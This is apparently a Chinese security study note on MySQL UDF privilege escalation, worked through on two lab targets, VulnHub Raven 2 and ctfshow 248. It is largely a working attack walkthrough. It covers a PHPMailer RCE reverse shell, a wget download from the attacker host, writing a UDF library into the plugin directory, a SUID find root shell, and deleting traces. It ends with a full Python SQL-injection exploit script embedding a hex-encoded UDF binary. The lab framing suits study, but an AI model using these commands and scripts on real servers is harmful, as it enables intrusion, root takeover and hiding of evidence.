UDF提权的基础
什么是udf
udf 全称为：user defined function，即用户自定义函数；
用户可以添加自定义的新函数到Mysql中，以达到功能的扩充，调用方式与一般系统自带的函数相同，例如 contact()，user()，version()等函数。
udf 文件在linux中后缀是so，windows中是dll，由C、C++编写
udf提权的作用
渗透过程中，拿下一台低权限的windows服务器时，有些操作无法进行，而此时本地恰好存在mysql数据库，且mysql是root权限 (windows中mysql一般都是管理员权限)，就可以通过新建管理员用户等操作实现提权即udf提权，也可以称为通过mysql获得管理员权限。
udf提权的利用条件以及数据库版本问题
获得一个数据库账号，拥有MySQL的insert和delete权限，最好是root。
拥有将udf.dll写入相应目录的权限。
使用的函数：
sys_eval，执行任意命令，并将输出返回。
sys_exec，执行任意命令，并将退出码返回。
sys_get，获取一个环境变量。
sys_set，创建或修改一个环境变量。
udf利用的其中一步，是要将我们的xxx.dll文件上传到mysql检索目录中，mysql各版本的检索目录有所不同：
其中当mysql的版本大于5.1的时候，其中lib、plugin文件夹一般需要自己创建。
创建方法：
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
udf文件的获取与上传
两种方法：从sqlmap或者msf获取
- 从sqlmap中获取
sqlmap中的udf文件为了防止误杀进行了异或处理，需要利用sqlmap自带的解码脚本
python /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll
- 从msf中获取
直接cp出来就可以，不需要解码
得到udf文件后上传：
利用webshell上传（raven2）或者hex编码（ctfshow 248）上传
VulnHub-Raven: 2（udf webshell上传提权）
主要介绍CVE-2016-10033远程代码执行漏洞以及udf提权的见解
具体渗透过程
这里扫描后台目录后，可以知道phpmailer的版本（5.2.16），可以在kali内搜索相关漏洞或者直接用msf反弹shell，这里利用kali找到的POC实现反弹shell
需要的条件：
网站绝对路径：/var/www/html
邮件功能页面：/contact.php
cp出来，修改一下其中的参数，后门文件自定即可
在攻击机kali里面nc一下，反弹shell后即可开始提权，这里面端口自定。
python -c 'import pty; pty.spawn("/bin/bash")'
nc -lvnp 8888
在wordpress的配置文件中找到mysql的账号密码：root：R@v3nSecurity
下面就开始具体的提权操作：
使用命令查看mysql权限为root，可以尝试使用mysql udf提权：
ps -aux|grep "mysql"
- 查看插件路径
show variables like '%plugin%';
- 下载动态链接库到靶机
使用python搭建http服务,使用wget命令得到udf文件这里我们需要的是lib_mysqludf_sys_64.so
python3 -m http.server 8088 wget 192.168.178.100:8088/lib_mysqludf_sys_64.so
下面是具体步骤：将udf文件从本地下载到被攻击机上，创建表，把udf文件导入表中，在把表中的内容插入到目标路径下（plugin文件中）
1.新建一个表，名为myfunc，用于存放本地传来的udf文件的内容。
use mysql; 创建数据表myfunc
create table myfunc(line blob);
2.在myfunc表中写入内容
插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据
insert into myfunc values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));
3.将表中内容传入目标路径的udf文件中
使用dumpfile函数把文件导出
- outfile 多行导出，dumpfile一行导出
- outfile会有特殊的转换，而dumpfile是原数据导出
select * from myfunc into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
4.创建自定义函数do_system 类型是integer，别名（soname）文件名字
create function do_system returns integer soname 'lib_mysqludf_sys_64.so';
报错了，提示do_system函数不存在
ERROR 1305 (42000): FUNCTION mysql.do_system does not exist
换一个，使用sys_exec 函数
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
5.查询一下添加的函数
select * from mysql.func;
6.利用自定义函数改变find命令权限
select sys_exec('chmod u+s /usr/bin/find');
7.find提权：
find . hello -exec "/bin/sh" \; 在当前目录下找到hello文件夹执行/bin/sh提权，反斜杠 \ 代表结束的标志，与”/bin/sh“ 之间有一个空格
8.删除痕迹
drop function sys_exec;
Delete from mysql.func where name='sys_exec';
ctfshow 248（hex编/解传入mysql系统提权）
这一题同样是利用udf，不过利用的方式不一样，这里是将从sqlmap或者msf中拿出来的udf文件经过hex编码，利用函数上传至网站后台。
udf文件转hex的方法：
进入mysql后，输入以下编码，利用hex函数转化。
select hex(load_file('C:/udf.so')) into dumpfile 'C:/udf.txt'
得到一串16进制编码
而这一题的话首先可以知道是堆叠注入，由于16进制字符串超出url长度的限制（get传参），于是分为三段上传。
id=1';select @@plugin_dir%23
可以看到mysql的根路径:/usr/lib/mariadb/plugin/
向路径中传入三段udf 16进制文本
select '16进制文本' into dumpfile '/usr/lib/mariadb/plugin/X.txt'
判断是否以及插入：
select load_file('/usr/lib/mariadb/plugin/a.txt')
按照这个方法，确定三个部分的内容都插入目标路径后，将三部分hex解码再拼接回来传到mysql根路径下，转化为udf.so文件
select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so'
最后就是创建自定函数并执行即可得到flag
create function sys_eval returns string soname 'udf.so'
id=1';select sys_eval("cat /fla*")%23
脚本：
import requests
url="http://63a5720c-e892-4d61-aade-65685f712bc3.challenge.ctf.show/api/"
payload = "?id=1';select '{}' into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+"
acquire = "?id=1';select load_file('/usr/lib/mariadb/plugin/{}.txt')--+"
text = ['a','b','c','d']
udf="7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801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udf_text=[]
for i in range(0,20000,5000):
end = i+5000
udf_text.append(udf[i:end])
p = dict(zip(text,udf_text))
for t in text:
param=payload.format(p[t],t)
get_url = url + param
res = requests.get(get_url)
print("[*]",end="")
code = res.status_code
print(code,end="")
if code==404:
print("你输入的URL可能出错")
acq=acquire.format(t)
data=url+acq
res = requests.get(url=data)
if "load_file" in res.text:
print("-->成功插入{}.txt".format(t))
print("[*]导入udf.so成功")
url_sys_dll = "?id=1%27;select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'))) into dumpfile '/usr/lib/mariadb/plugin/udf.so' --+"
res= requests.get(url=url+url_sys_dll)
print("[*]创建函数sys_eval()成功")
url_sys_function = "?id=1%27;create function sys_eval returns string soname 'udf.so'--+"
res= requests.get(url=url+url_sys_function)
print("[*]命令执行结果: ")
sys_eval="?id=';select sys_eval('cat /flag.*')--+"
res= requests.get(url=url+sys_eval)
print(res.text)
- 学习到了mysql中udf提权的两种方式：hex上传以及webshell上传，对提权的姿势更加熟悉，继续加油！